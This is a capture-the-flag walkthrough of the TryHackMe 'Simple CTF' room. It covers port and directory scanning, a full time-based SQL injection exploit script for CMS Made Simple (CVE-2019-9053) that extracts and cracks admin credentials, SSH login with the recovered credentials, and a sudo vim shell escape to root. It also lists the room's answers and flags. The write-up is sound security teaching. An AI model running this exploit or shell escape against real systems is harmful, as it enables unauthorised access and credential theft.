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TryHackMe Simple CTF Writeup: CMS Made Simple SQLi to Root

A TryHackMe Simple CTF walkthrough covering service enumeration, CMS Made Simple SQL injection, SSH access, and sudo-based privilege escalation with Vim.

TryHackMeLinuxSQL InjectionPrivilege Escalation

This writeup is adapted from my original TryHackMe notes for Simple CTF. I kept the room flow close to the source Markdown and cleaned up GitBook formatting so it reads properly on the website.

Description

Beginner level CTF

challenge screenshot

Answer the questions below

challenge screenshot

How many services are running under port 1000?

Nmap

nmap -A -Pn 10.10.252.182

challenge screenshot

ANS: 2

What is running on the higher port?

ANS: ssh

What's the CVE you're using against the application?

Directory Enumeration

dirsearch -u http://10.10.252.182 

challenge screenshot

After explore the website, I found that CMS Made Simple version 2.2.8 that make me find the vulnerability. Bingo! I found it https://www.exploit-db.com/exploits/46635

ANS: CVE-2019-9053

To what kind of vulnerability is the application vulnerable?

challenge screenshot

ANS: sqli

What's the password?

Exploitation

#Update Code to python3 Thanks for someone who fix this I forget where I got it.
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt  
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print("\033c")
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print("\033c")
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print(colored("[*] Now try to crack password"))
    crack_password()

beautify_print()
python3 exploit.py -u http://10.10.252.182/simple/ -w /usr/share/wordlists/rockyou.txt -c

mitch : secret

mitch : secret

ANS: secret

Where can you login with the details obtained?

Connect with SSH

ssh mitch@10.10.252.182 -p 2222

challenge screenshot

ANS: ssh

What's the user flag?

challenge screenshot

ANS: G00d j0b, keep up!

Is there any other user in the home directory? What's its name?

challenge screenshot

ANS: sunbath

What can you leverage to spawn a privileged shell?

Check sudo -l

challenge screenshot

ANS: vim

What's the root flag?

Check GTFOBINS

https://gtfobins.github.io/gtfobins/vim/

https://gtfobins.github.io/gtfobins/vim/

sudo vim -c ':!/bin/sh'

W3ll d0n3. You made it!

W3ll d0n3. You made it!

ANS: W3ll d0n3. You made it!